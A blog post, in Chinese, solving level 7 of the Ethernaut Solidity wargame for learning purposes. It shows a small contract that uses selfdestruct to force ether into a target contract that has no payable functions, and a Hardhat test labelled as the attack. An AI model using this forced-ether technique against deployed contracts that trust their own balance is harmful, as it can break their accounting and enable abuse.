DEV Community

bin2chen
bin2chen

Posted on

Ethernaut系列-Level 7 (Force)

LEVEL 7 (Force):

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}
Enter fullscreen mode Exit fullscreen mode

通关要求

使合约的余额不为0

要点

合约要能接受转账,需要合约有receive/fallback或者其他外部方法是payable,不然转账过去会报错。
但有个例外就是selfdestruct指定的接收地址,是无法拒接的把destruct后的余额转给接受者

解题思路

contracts/07ForceRun.sol

contract ForceRun {
    function destory(address _levelAddress) external payable {
        //selfdestruct指定的地址,就算没有receive/fallback也是无法拒接把balance转给它
        selfdestruct(payable(_levelAddress));
    }
}
Enter fullscreen mode Exit fullscreen mode

test/07Force.js

  it("attacks", async function () {
    await runContract
      .connect(player)
      .destory(levelContract.address, {
        value: ethers.utils.parseEther("0.1"),
      });
  });
Enter fullscreen mode Exit fullscreen mode

Top comments (0)